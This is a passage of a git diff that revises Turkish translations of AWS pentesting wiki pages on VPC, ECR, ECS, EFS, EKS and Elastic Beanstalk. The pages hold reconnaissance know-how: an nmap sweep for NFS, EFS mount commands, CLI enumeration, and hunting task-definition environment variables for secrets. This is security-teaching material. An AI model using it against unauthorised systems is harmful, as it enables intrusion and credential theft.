alt ağ ile bağlıyorsanız, diğer alt ağ ile bağlı alt ağlara erişemezsiniz**, onlarla doğrudan bağlantı kurmanız gerekir. **Bu, internet geçitleri için de geçerlidir**. İnternete erişmek için bir alt ağ bağlantısından geçemezsiniz, internet geçidini alt ağınıza atamanız gerekir. ### VPC Peering VPC peering, iki veya daha fazla VPC'yi, IPV4 veya IPV6 kullanarak, sanki aynı ağın bir parçasıymış gibi **birbirine bağlamanıza** olanak tanır. -Eş bağlantı kurulduğunda, **bir VPC'deki kaynaklar diğer VPC'deki kaynaklara erişebilir**. VPC'ler arasındaki bağlantı, mevcut AWS ağ altyapısı aracılığıyla uygulanır ve bu nedenle yüksek kullanılabilirlik sunar ve bant genişliği darboğazı yoktur. **Eşleştirilmiş bağlantılar, sanki aynı ağın bir parçasıymış gibi çalıştığından**, kullanılabilecek CIDR blok aralıklarıyla ilgili kısıtlamalar vardır.\ +Eş bağlantı kurulduğunda, **bir VPC'deki kaynaklar diğer VPC'deki kaynaklara erişebilir**. VPC'ler arasındaki bağlantı, mevcut AWS ağ altyapısı aracılığıyla uygulanır ve bu nedenle yüksek kullanılabilirlik sunar ve bant genişliği darboğazı yoktur. **Eş bağlantılar, sanki aynı ağın bir parçasıymış gibi çalıştıkları için**, kullanılabilecek CIDR blok aralıklarıyla ilgili kısıtlamalar vardır.\ Eğer VPC'niz için **çakışan veya yinelenen CIDR** aralıklarınız varsa, **VPC'leri birbirine peering yapamazsınız**.\ -Her AWS VPC, **yalnızca eşine iletişim kurar**. Örneğin, VPC 1 ile VPC 2 arasında bir peering bağlantınız varsa ve VPC 2 ile VPC 3 arasında başka bir bağlantı varsa, o zaman VPC 1 ve 2 doğrudan birbirleriyle iletişim kurabilir, VPC 2 ve VPC 3 de öyle, ancak VPC 1 ve VPC 3 iletişim kuramaz. **Bir VPC üzerinden diğerine yönlendirme yapamazsınız.** +Her AWS VPC, **yalnızca eşine iletişim kurar**. Örneğin, VPC 1 ile VPC 2 arasında bir peering bağlantınız varsa ve VPC 2 ile VPC 3 arasında başka bir bağlantınız varsa, o zaman VPC 1 ve 2 doğrudan birbirleriyle iletişim kurabilir, VPC 2 ve VPC 3 de öyle, ancak VPC 1 ve VPC 3 iletişim kuramaz. **Bir VPC üzerinden diğerine yönlendirme yapamazsınız.** ### **VPC Akış Günlükleri** @@ -98,15 +98,15 @@ S3 erişim günlükleri ve CloudFront erişim günlüklerinin aksine, **VPC Akı Sınırlamalar: -- Eğer bir VPC peering bağlantısı çalıştırıyorsanız, yalnızca aynı hesap içindeki eşleştirilmiş VPC'lerin akış günlüklerini görebilirsiniz. +- Eğer bir VPC peering bağlantısı çalıştırıyorsanız, yalnızca aynı hesap içindeki peering VPC'lerin akış günlüklerini görebilirsiniz. - Eğer hala EC2-Classic ortamında kaynaklar çalıştırıyorsanız, maalesef arayüzlerinden bilgi alamazsınız. - Bir VPC Akış Günlüğü oluşturulduktan sonra, değiştirilemez. VPC Akış Günlüğü yapılandırmasını değiştirmek için, onu silmeniz ve ardından yenisini oluşturmanız gerekir. -- Aşağıdaki trafik, günlükler tarafından izlenmez ve yakalanmaz. VPC içindeki DHCP trafiği, Amazon DNS Sunucusuna yönlendirilen örneklerden gelen trafik. -- VPC varsayılan yönlendiricisi için IP adresine yönlendirilen trafik ve aşağıdaki adreslere giden ve gelen trafik, 169.254.169.254, örnek meta verilerini toplamak için kullanılır ve 169.254.169.123, Amazon Zaman Senkronizasyon Servisi için kullanılır. +- Aşağıdaki trafik, günlükler tarafından izlenmez ve yakalanmaz. VPC içindeki DHCP trafiği, örneklerden Amazon DNS Sunucusuna giden trafik. +- VPC varsayılan yönlendiricisi için IP adresine giden trafik ve aşağıdaki adreslere giden ve gelen trafik, 169.254.169.254, örnek meta verilerini toplamak için kullanılır ve 169.254.169.123, Amazon Zaman Senkronizasyonu Servisi için kullanılır. - Bir Windows örneğinden Amazon Windows aktivasyon lisansına ilişkin trafik - Bir ağ yük dengeleyici arayüzü ile bir uç nokta ağ arayüzü arasındaki trafik -CloudWatch günlük grubuna veri yayınlayan her ağ arayüzü, farklı bir günlük akışı kullanacaktır. Ve bu akışların her birinde, günlük girişlerinin içeriğini gösteren akış günlük olayı verileri olacaktır. Bu **günlükler, yaklaşık 10 ila 15 dakika süresince veri yakalar**. +CloudWatch günlük grubuna veri yayınlayan her ağ arayüzü, farklı bir günlük akışı kullanacaktır. Ve bu akışların her birinde, günlük girişlerinin içeriğini gösteren akış günlüğü olay verileri olacaktır. Bu **günlükler, yaklaşık 10 ila 15 dakika süresince veri yakalar**. ## VPN @@ -119,7 +119,7 @@ CloudWatch günlük grubuna veri yayınlayan her ağ arayüzü, farklı bir gün - VPN bağlantısını kurmak için bir referans noktası olarak hizmet eder ve ek ücret talep etmez. 2. **Sanal Özel Geçit**: - Sanal Özel Geçit (VPG), Site-to-Site VPN bağlantısının Amazon tarafındaki VPN konsantratörüdür. -- VPC'nize bağlıdır ve VPN bağlantınız için hedef olarak hizmet eder. +- VPC'nize eklenmiştir ve VPN bağlantınız için hedef olarak hizmet eder. - VPG, VPN bağlantısının AWS tarafı uç noktasıdır. - VPC'niz ile yerel ağınız arasındaki güvenli iletişimi yönetir. 3. **Site-to-Site VPN Bağlantısı**: @@ -129,7 +129,7 @@ CloudWatch günlük grubuna veri yayınlayan her ağ arayüzü, farklı bir gün - Genellikle düzenli, uzun vadeli bağlantılar için kullanılır ve bağlantı üzerinden aktarılan veri miktarına göre faturalandırılır. 4. **İstemci VPN Uç Noktası**: - İstemci VPN uç noktası, istemci VPN oturumlarını etkinleştirmek ve yönetmek için AWS'de oluşturduğunuz bir kaynaktır. -- Bireysel cihazların (dizüstü bilgisayarlar, akıllı telefonlar vb.) AWS kaynaklarına veya yerel ağınıza güvenli bir şekilde bağlanmasını sağlamak için kullanılır. +- Bireysel cihazların (dizüstü bilgisayarlar, akıllı telefonlar vb.) AWS kaynaklarına veya yerel ağınıza güvenli bir şekilde bağlanmasına izin vermek için kullanılır. - Site-to-Site VPN'den farklıdır çünkü bireysel istemciler için tasarlanmıştır, tüm ağları bağlamak için değil. - İstemci VPN ile her istemci cihazı, güvenli bir bağlantı kurmak için bir VPN istemci yazılımı kullanır. @@ -169,19 +169,19 @@ Ayrıca, Site-to-Site VPN kullanırken aşağıdakileri dikkate alın. - **İstemci:** Bir VPN oturumu kurmak için İstemci VPN uç noktasına bağlanan son kullanıcı. Son kullanıcıların, bir OpenVPN istemcisi indirmesi ve bir VPN oturumu kurmak için oluşturduğunuz İstemci VPN yapılandırma dosyasını kullanması gerekir. - **İstemci CIDR aralığı:** İstemci IP adreslerini atamak için bir IP adresi aralığı. İstemci VPN uç noktasına her bağlantı, istemci CIDR aralığından benzersiz bir IP adresi alır. İstemci CIDR aralığını seçersiniz, örneğin, `10.2.0.0/16`. - **İstemci VPN portları:** AWS İstemci VPN, hem TCP hem de UDP için 443 ve 1194 portlarını destekler. Varsayılan port 443'tür. -- **İstemci VPN ağ arayüzleri:** Bir alt ağı İstemci VPN uç noktanızla ilişkilendirdiğinizde, o alt ağda İstemci VPN ağ arayüzleri oluştururuz. **İstemci VPN uç noktasından VPC'ye gönderilen trafik, bir İstemci VPN ağ arayüzü üzerinden gönderilir**. Ardından, kaynak ağ adresi çevirisi (SNAT) uygulanır; burada istemci CIDR aralığındaki kaynak IP adresi, İstemci VPN ağ arayüzü IP adresine çevrilir. -- **Bağlantı günlüğü:** İstemci VPN uç noktanız için bağlantı olaylarını günlüğe kaydetmek üzere bağlantı günlüğünü etkinleştirebilirsiniz. Bu bilgiyi, adli analiz yapmak, İstemci VPN uç noktanızın nasıl kullanıldığını analiz etmek veya bağlantı sorunlarını gidermek için kullanabilirsiniz. +- **İstemci VPN ağ arayüzleri:** Bir alt ağı İstemci VPN uç noktanızla ilişkilendirdiğinizde, o alt ağda İstemci VPN ağ arayüzleri oluştururuz. **İstemci VPN uç noktasından VPC'ye gönderilen trafik, bir İstemci VPN ağ arayüzü üzerinden gönderilir**. Ardından, kaynak IP adresi istemci CIDR aralığından İstemci VPN ağ arayüzü IP adresine dönüştürülür. +- **Bağlantı günlüğü:** İstemci VPN uç noktanız için bağlantı günlüğünü etkinleştirebilirsiniz. Bu bilgiyi, adli tıp yapmak, İstemci VPN uç noktanızın nasıl kullanıldığını analiz etmek veya bağlantı sorunlarını gidermek için kullanabilirsiniz. - **Kendi kendine hizmet portalı:** İstemci VPN uç noktanız için bir kendi kendine hizmet portalı etkinleştirebilirsiniz. Müşteriler, kimlik bilgilerini kullanarak web tabanlı portala giriş yapabilir ve İstemci VPN uç noktasının yapılandırma dosyasının en son sürümünü veya AWS tarafından sağlanan istemcinin en son sürümünü indirebilir. #### Sınırlamalar - **İstemci CIDR aralıkları, ilişkili alt ağın bulunduğu VPC'nin yerel CIDR'si ile çakışamaz** veya İstemci VPN uç noktasının yönlendirme tablosuna manuel olarak eklenen herhangi bir yönlendirme ile çakışamaz. -- İstemci CIDR aralıklarının en az **/22** blok boyutuna sahip olması ve **/12'den büyük olmaması gerekir.** -- İstemci CIDR aralığındaki **adreslerin bir kısmı**, İstemci VPN uç noktasının **kullanılabilirlik** modelini desteklemek için kullanılır ve istemcilere atanamaz. Bu nedenle, **planladığınız maksimum eşzamanlı bağlantı sayısını desteklemek için gereken IP adreslerinin iki katını içeren bir CIDR bloğu atamanızı öneririz.** -- İstemci VPN uç noktasını oluşturduktan sonra **istemci CIDR aralığı değiştirilemez**. -- Bir İstemci VPN uç noktasına bağlı **alt ağlar, **aynı VPC'de** olmalıdır. +- İstemci CIDR aralıkları, en az **/22** blok boyutuna sahip olmalı ve **/12'den büyük olmamalıdır.** +- İstemci CIDR aralığındaki **adreslerin bir kısmı**, İstemci VPN uç noktasının **kullanılabilirlik** modelini desteklemek için kullanılır ve istemcilere atanamaz. Bu nedenle, İstemci VPN uç noktasında desteklemeyi planladığınız maksimum eşzamanlı bağlantı sayısını etkinleştirmek için **gerekli IP adreslerinin iki katını içeren bir CIDR bloğu atamanızı** öneririz. +- İstemci VPN uç noktasını oluşturduktan sonra, **istemci CIDR aralığı değiştirilemez**. +- Bir İstemci VPN uç noktasına bağlı **alt ağlar, **aynı VPC'de olmalıdır**. - **Aynı Kullanılabilirlik Bölgesinden birden fazla alt ağı bir İstemci VPN uç noktasına ilişkilendiremezsiniz**. -- Bir İstemci VPN uç noktası, **özel bir kiralama VPC'sinde alt ağ ilişkilerini desteklemez**. +- Bir İstemci VPN uç noktası, **özel kiralama VPC'sinde alt ağ ilişkilerini desteklemez**. - İstemci VPN yalnızca **IPv4** trafiğini destekler. - İstemci VPN, **Federal Bilgi İşleme Standartları (FIPS)** **uyumlu değildir**. - Eğer çok faktörlü kimlik doğrulama (MFA) Active Directory'niz için devre dışı bırakılmışsa, bir kullanıcı parolası aşağıdaki formatta olamaz. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index cd3728ab7..8b704f1a4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -20,12 +20,12 @@ Her AWS hesabının 2 kaydı vardır: **Özel** ve **Halka Açık**. - **Varsayılan olarak özel**: Amazon ECR özel kaydında depolanan konteyner görüntüleri, yalnızca AWS hesabınızdaki yetkili kullanıcılar veya izin verilmiş olanlar tarafından **erişilebilir**. - Bir **özel depo** URI'si `.dkr.ecr..amazonaws.com/` formatını takip eder. -- **Erişim kontrolü**: Özel konteyner görüntülerinize erişimi **IAM politikaları** kullanarak **kontrol edebilirsiniz** ve kullanıcılar veya roller temelinde ince ayar izinleri yapılandırabilirsiniz. +- **Erişim kontrolü**: Özel konteyner görüntülerinize erişimi **IAM politikaları** kullanarak **kontrol edebilirsiniz** ve kullanıcılar veya roller bazında ince ayar izinleri yapılandırabilirsiniz. - **AWS hizmetleriyle entegrasyon**: Amazon ECR özel kayıtları, EKS, ECS gibi diğer AWS hizmetleriyle kolayca **entegrasyon** sağlayabilir. - **Diğer özel kayıt seçenekleri**: - Etiket değişmezliği sütunu, etiket değişmezliği etkinleştirildiğinde, **önceden var olan etiketlerle** görüntü **itmelerinin** üzerine yazılmasını **engelleyecektir**. - **Şifreleme türü** sütunu, deponun şifreleme özelliklerini listeler, varsayılan şifreleme türleri olarak AES-256 gibi türleri gösterir veya **KMS** etkin şifrelemeleri içerir. -- **Ön bellek üzerinden çekme** sütunu, durumunu listeler, Ön bellek üzerinden çekme durumu Aktif olduğunda, **dış bir halka açık depodaki depoları özel deponuza ön belleğe alır**. +- **Önbellek üzerinden çekme** sütunu, durumunu listeler, Önbellek üzerinden çekme durumu Aktif olduğunda, **dış bir halka açık depodaki depoları özel deponuza önbelleğe alır**. - Farklı **izinler** vermek için belirli **IAM politikaları** yapılandırılabilir. - **Tarama yapılandırması**, depoda saklanan görüntülerdeki güvenlik açıklarını taramak için olanak tanır. @@ -39,11 +39,11 @@ Her AWS hesabının 2 kaydı vardır: **Özel** ve **Halka Açık**. Bunlar, **özel kayıtta** veya **halka açık** olan **görüntülerdir**. > [!NOTE] -> Bir görüntüyü bir depoya yüklemek için, **ECR deposunun görüntüyle aynı adı taşıması gerektiğini** unutmayın. +> Bir görüntüyü bir depoya yüklemek için, **ECR deposunun görüntü ile aynı adı taşıması gerektiğini** unutmayın. #### Kayıt ve Depo Politikaları -**Kayıtlar ve depolar**, diğer ilkeler/hesaplar için izin vermek üzere kullanılabilecek **politikalar** da taşır. Örneğin, aşağıdaki depo politikası görüntüsünde, tüm organizasyondan herhangi bir kullanıcının görüntüye erişebileceğini görebilirsiniz: +**Kayıtlar ve depolar**, diğer ilkeler/hesaplar için izin vermek amacıyla kullanılabilecek **politikalar** da taşır. Örneğin, aşağıdaki depo politikası görüntüsünde, tüm organizasyondan herhangi bir kullanıcının görüntüye erişebileceğini görebilirsiniz:
@@ -73,15 +73,15 @@ aws ecr get-repository-policy --repository-name ../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md {{#endref}} -#### Yetki Yükseltme +#### Privesc -Aşağıdaki sayfada **ECR izinlerini kötüye kullanarak yetki yükseltmeyi** kontrol edebilirsiniz: +Aşağıdaki sayfada **ECR izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-ecr-privesc.md {{#endref}} -#### İstismar Sonrası +#### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index f62320e10..0b8d2f677 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,19 +6,19 @@ ### Temel Bilgiler -Amazon **Elastic Container Services** veya ECS, **konteynerleştirilmiş uygulamaları bulutta barındırmak için bir platform** sağlar. ECS'nin iki **dağıtım** yöntemi vardır: **EC2** örnek türü ve **sunucusuz** seçenek, **Fargate**. Bu hizmet, **bulutta konteyner çalıştırmayı çok kolay ve sorunsuz hale getirir**. +Amazon **Elastic Container Services** veya ECS, **konteynerleştirilmiş uygulamaları bulutta barındırmak için bir platform** sağlar. ECS'nin iki **dağıtım** yöntemi vardır: **EC2** örnek türü ve **sunucusuz** seçenek olan **Fargate**. Bu hizmet, **bulutta konteyner çalıştırmayı çok kolay ve sorunsuz hale getirir**. ECS, aşağıdaki üç yapı taşını kullanarak çalışır: **Küme**, **Hizmetler** ve **Görev Tanımları**. -- **Kümeler**, bulutta çalışan **konteyner gruplarıdır**. Daha önce belirtildiği gibi, konteynerler için iki başlatma türü vardır: EC2 ve Fargate. AWS, **EC2** başlatma türünü, müşterilerin “kendi konteynerleştirilmiş uygulamalarını, **yönetilen** bir Amazon EC2 örnekleri kümesinde çalıştırmalarına” izin verdiği şekilde tanımlar. **Fargate** benzer bir şekilde tanımlanır ve “konteynerleştirilmiş uygulamalarınızı **arka uç altyapısını sağlama ve yönetme ihtiyacı olmadan** çalıştırmanıza izin verir” şeklindedir. +- **Kümeler**, bulutta çalışan **konteyner gruplarıdır**. Daha önce belirtildiği gibi, konteynerler için iki başlatma türü vardır: EC2 ve Fargate. AWS, **EC2** başlatma türünü, müşterilerin “**yönetilen** bir Amazon EC2 örnekleri kümesinde \[konteynerleştirilmiş uygulamalarını] çalıştırmalarına” izin veren bir tür olarak tanımlar. **Fargate** benzer şekilde tanımlanır ve “\[konteynerleştirilmiş uygulamalarınızı **arka uç altyapısını sağlama ve yönetme ihtiyacı olmadan** çalıştırmanıza] izin verir” şeklindedir. - **Hizmetler**, bir küme içinde oluşturulur ve **görevleri çalıştırmaktan** sorumludur. Bir hizmet tanımı içinde **çalıştırılacak görev sayısını, otomatik ölçeklendirmeyi, kapasite sağlayıcısını (Fargate/EC2/Dış),** **ağ** bilgilerini, VPC'ler, alt ağlar ve güvenlik grupları gibi tanımlarsınız. - **2 tür uygulama** vardır: - **Hizmet**: Durdurulup yeniden başlatılabilen uzun süreli bir hesaplama işini yöneten görevler grubudur. Örneğin, bir web uygulaması. - **Görev**: Çalışan ve sona eren bağımsız bir görevdir. Örneğin, bir toplu iş. - Hizmet uygulamaları arasında **2 tür hizmet zamanlayıcı** vardır: - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Replica zamanlama stratejisi, kümeniz genelinde **istenen görev sayısını** yerleştirir ve **korur**. Eğer bir görev herhangi bir nedenle kapatılırsa, aynı veya farklı bir düğümde yeni bir görev başlatılır. -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Gerekli gereksinimlere sahip her aktif konteyner örneğinde tam olarak bir görev dağıtır. İstenen görev sayısını, bir görev yerleştirme stratejisini belirtmeye veya Hizmet Otomatik Ölçeklendirme politikalarını kullanmaya gerek yoktur. -- **Görev Tanımları**, **çalışacak konteynerlerin ne olacağını tanımlamaktan** ve konteynerlerle yapılandırılacak çeşitli parametrelerden sorumludur, örneğin **port eşlemeleri**, **env değişkenleri**, Docker **giriş noktası**... +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Gerekli gereksinimlere sahip her aktif konteyner örneğinde tam olarak bir görev dağıtır. İstenen görev sayısını, görev yerleştirme stratejisini belirtmeye veya Hizmet Otomatik Ölçeklendirme politikalarını kullanmaya gerek yoktur. +- **Görev Tanımları**, **çalışacak konteynerlerin ne olacağını tanımlamaktan** sorumludur ve konteynerlerle yapılandırılacak çeşitli parametreleri içerir, örneğin **port eşlemeleri**, **env değişkenleri**, Docker **giriş noktası**... - Hassas bilgiler için **env değişkenlerini kontrol edin**! ### Görev Tanımlarında Hassas Veriler @@ -59,13 +59,13 @@ aws ecs describe-task-definition --task-definition : ### Yetki Yükseltme -Aşağıdaki sayfada **ECS izinlerini kötüye kullanarak yetki yükseltme** yöntemlerini kontrol edebilirsiniz: +Aşağıdaki sayfada **ECS izinlerini kötüye kullanarak yetki yükseltme** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md {{#endref}} -### İstismar Sonrası +### Sonrası İstismar {{#ref}} ../aws-post-exploitation/aws-ecs-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index e7a7ea76f..def70f3ce 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -41,7 +41,7 @@ sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure > [!CAUTION] > EFS montaj noktası aynı VPC içinde ancak farklı bir alt ağda olabilir. Tüm **EFS noktalarını bulduğunuzdan emin olmak istiyorsanız, `/16` ağ maskesini taramak daha iyi olacaktır**. -### Mount EFS +### EFS'yi Montajla ```bash sudo mkdir /efs @@ -57,7 +57,7 @@ sudo mount -t efs :/ /efs/ ``` ### IAM Erişimi -**Varsayılan olarak**, EFS'ye **ağ erişimi olan herkes**, **kök kullanıcı olarak bile** onu bağlayabilir, **okuyabilir ve yazabilir**. Ancak, Dosya Sistemi politikaları, **sadece belirli izinlere sahip olan ilkelerin** erişimine izin verecek şekilde uygulanabilir.\ +**Varsayılan olarak**, EFS'ye **ağ erişimi olan herkes**, **kök kullanıcı olarak bile** onu bağlayabilir, **okuyabilir ve yazabilir**. Ancak, Dosya Sistemi politikaları, **sadece belirli izinlere sahip ilkelerin** erişimine izin verecek şekilde uygulanabilir.\ Örneğin, bu Dosya Sistemi politikası, **IAM izniniz yoksa** dosya sistemini **bağlamanıza bile izin vermeyecektir**: ```json { @@ -81,11 +81,11 @@ sudo mount -t efs :/ /efs/ ] } ``` -Veya bu **anonim erişimi engelleyecektir**: +Ya da bu **anonim erişimi engelleyecektir**:
-IAM ile korunan dosya sistemlerini bağlamak için, bağlama komutunda "efs" türünü KESİNLİKLE kullanmalısınız: +IAM ile korunan dosya sistemlerini bağlamak için mount komutunda "efs" türünü KESİNLİKLE kullanmalısınız: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ @@ -94,9 +94,9 @@ sudo mount -t efs -o tls,iam :/ /efs/ ``` ### Erişim Noktaları -**Erişim noktaları**, **paylaşılan veri setlerine** uygulama erişimini yönetmeyi kolaylaştıran **EFS dosya sistemine** uygulama özel giriş noktalarıdır. +**Erişim noktaları**, **EFS dosya sistemine** uygulama özel giriş noktalarıdır ve paylaşılan veri setlerine uygulama erişimini yönetmeyi kolaylaştırır. -Bir erişim noktası oluşturduğunuzda, erişim noktası aracılığıyla oluşturulan dosyalar ve dizinler için **sahibi ve POSIX izinlerini** **belirtebilirsiniz**. Ayrıca, erişim noktası için **özel bir kök dizin tanımlayabilirsiniz**, mevcut bir dizini belirterek veya istenen izinlerle yeni bir dizin oluşturarak. Bu, **EFS dosya sisteminize uygulama veya kullanıcı bazında erişimi kontrol etmenizi** sağlar ve paylaşılan dosya verilerinizi yönetmeyi ve güvence altına almayı kolaylaştırır. +Bir erişim noktası oluşturduğunuzda, erişim noktası aracılığıyla oluşturulan dosyalar ve dizinler için **sahibi ve POSIX izinlerini** **belirtebilirsiniz**. Ayrıca, erişim noktası için **özel bir kök dizin tanımlayabilirsiniz**, mevcut bir dizini belirterek veya istenen izinlerle yeni bir tane oluşturarak. Bu, **EFS dosya sisteminize uygulama veya kullanıcı bazında erişimi kontrol etmenizi** sağlar ve paylaşılan dosya verilerinizi yönetmeyi ve güvence altına almayı kolaylaştırır. **Erişim noktasından dosya sistemini şu şekilde bağlayabilirsiniz:** ```bash @@ -105,7 +105,7 @@ sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> Bir erişim noktasını monte etmeye çalışsanız bile, **ağ üzerinden NFS hizmeti ile iletişim kurabilmeniz** gerektiğini ve EFS'nin bir dosya sistemi **politikasına** sahip olması durumunda, onu monte etmek için **yeterli IAM izinlerine** sahip olmanız gerektiğini unutmayın. +> Bir erişim noktasını monte etmeye çalışsanız bile, **NFS hizmeti ile ağ üzerinden iletişim kurabilmeniz** gerektiğini ve EFS'nin bir dosya sistemi **politikasına** sahip olması durumunda, monte etmek için **yeterli IAM izinlerine** sahip olmanız gerektiğini unutmayın. Erişim noktaları aşağıdaki amaçlar için kullanılabilir: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 8e28d97b7..6bc16c753 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,13 +4,13 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS), kullanıcıların kendi Kubernetes kontrol düzlemlerini veya düğümlerini kurma, işletme ve yönetme ihtiyacını ortadan kaldırmak için tasarlanmıştır. Bunun yerine, Amazon EKS bu bileşenleri yönetir ve AWS üzerinde Kubernetes kullanarak konteynerleştirilmiş uygulamaları dağıtmak, yönetmek ve ölçeklendirmek için basitleştirilmiş bir yol sunar. +Amazon Elastic Kubernetes Service (Amazon EKS), kullanıcıların kendi Kubernetes kontrol düzlemlerini veya düğümlerini kurma, işletme ve yönetme ihtiyacını ortadan kaldırmak için tasarlanmıştır. Bunun yerine, Amazon EKS bu bileşenleri yönetir ve AWS üzerinde Kubernetes kullanarak konteynerleştirilmiş uygulamaları dağıtma, yönetme ve ölçeklendirme için basitleştirilmiş bir yol sunar. Amazon EKS'in ana özellikleri şunlardır: 1. **Yönetilen Kubernetes Kontrol Düzlemi**: Amazon EKS, yamanın uygulanması, düğüm sağlama ve güncellemeler gibi kritik görevleri otomatikleştirir. 2. **AWS Hizmetleri ile Entegrasyon**: Hesaplama, depolama, veritabanı ve güvenlik için AWS hizmetleri ile sorunsuz entegrasyon sunar. -3. **Ölçeklenebilirlik ve Güvenlik**: Amazon EKS, yüksek kullanılabilirlik ve güvenlik sağlamak için tasarlanmıştır ve otomatik ölçeklendirme ve tasarım gereği izolasyon gibi özellikler sunar. +3. **Ölçeklenebilirlik ve Güvenlik**: Amazon EKS, yüksek kullanılabilirlik ve güvenlik sağlamak için otomatik ölçeklendirme ve tasarım gereği izolasyon gibi özellikler sunacak şekilde tasarlanmıştır. 4. **Kubernetes ile Uyumluluk**: Amazon EKS üzerinde çalışan uygulamalar, herhangi bir standart Kubernetes ortamında çalışan uygulamalarla tamamen uyumludur. #### Enumeration @@ -31,13 +31,13 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` -#### Post Exploitation +#### Sonuçların Kullanımı {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## References +## Referanslar - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 8cde0adde..21cfdaa3c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,9 +4,9 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk, **web uygulamalarını ve hizmetlerini dağıtmak, yönetmek ve ölçeklendirmek için** basitleştirilmiş bir platform sağlar. Java, .NET, PHP, Node.js, Python, Ruby ve Go gibi çeşitli programlama dilleri ve çerçevelerini destekler ve ayrıca Docker konteynerleri ile uyumludur. Hizmet, Apache, Nginx, Passenger ve IIS gibi yaygın olarak kullanılan sunucularla uyumludur. +Amazon Elastic Beanstalk, **web uygulamalarını ve hizmetlerini dağıtmak, yönetmek ve ölçeklendirmek için** basitleştirilmiş bir platform sağlar. Java, .NET, PHP, Node.js, Python, Ruby ve Go gibi çeşitli programlama dilleri ve çerçeveleri destekler ve ayrıca Docker konteynerleri ile uyumludur. Hizmet, Apache, Nginx, Passenger ve IIS gibi yaygın olarak kullanılan sunucularla uyumludur. -Elastic Beanstalk, **uygulamalarınızı AWS bulutuna dağıtmanın** basit ve esnek bir yolunu sunar; altyapı hakkında endişelenmenize gerek kalmaz. **Otomatik olarak**, kapasite **sağlama**, yük **dengeleme**, **ölçeklendirme** ve uygulama sağlık **izleme** detaylarını yönetir, böylece kodunuzu yazmaya ve dağıtmaya odaklanabilirsiniz. +Elastic Beanstalk, **uygulamalarınızı AWS bulutuna dağıtmanın** basit ve esnek bir yolunu sunar; altyapı hakkında endişelenmenize gerek kalmaz. **Otomatik olarak** kapasite **sağlama**, yük **dengeleme**, **ölçeklendirme** ve uygulama sağlığı **izleme** detaylarını yönetir, böylece kodunuzu yazmaya ve dağıtmaya odaklanabilirsiniz. Elastic Beanstalk tarafından oluşturulan altyapı, **EC2**'deki **Otomatik Ölçekleme** Grupları tarafından yönetilmektedir (bir yük dengeleyici ile). Yani, günün sonunda, eğer **host'u tehlikeye atarsanız**, EC2 hakkında bilgi sahibi olmalısınız: @@ -22,24 +22,24 @@ aws-eks-enum.md ### Uygulama ve Ortamlar -AWS Elastic Beanstalk'ta, "uygulama" ve "ortam" kavramları farklı amaçlara hizmet eder ve dağıtım sürecinde farklı rollere sahiptir. +AWS Elastic Beanstalk'ta, "uygulama" ve "ortam" kavramları farklı amaçlara hizmet eder ve dağıtım sürecinde belirgin rollere sahiptir. #### Uygulama - Elastic Beanstalk'taki bir uygulama, **uygulamanızın kaynak kodu, ortamları ve yapılandırmaları için mantıksal bir konteynerdir**. Uygulama kodunuzun farklı sürümlerini bir araya getirir ve bunları tek bir varlık olarak yönetmenizi sağlar. -- Bir uygulama oluşturduğunuzda, bir isim ve **açıklama sağlarsınız, ancak bu aşamada hiçbir kaynak sağlanmaz**. Bu, kodunuzu ve ilgili kaynakları düzenlemenin ve yönetmenin basit bir yoludur. +- Bir uygulama oluşturduğunuzda, bir isim ve **açıklama sağlarsınız, ancak bu aşamada hiçbir kaynak sağlanmaz**. Bu, kodunuzu ve ilgili kaynakları düzenlemenin ve yönetmenin bir yoludur. - Bir uygulama içinde **birden fazla uygulama sürümü** bulundurabilirsiniz. Her sürüm, kodunuzun belirli bir sürümüne karşılık gelir ve bir veya daha fazla ortama dağıtılabilir. #### Ortam - Bir ortam, AWS altyapısında çalışan **uygulamanızın sağlanmış bir örneğidir**. **Uygulama kodunuzun dağıtıldığı ve çalıştırıldığı yerdir**. Elastic Beanstalk, 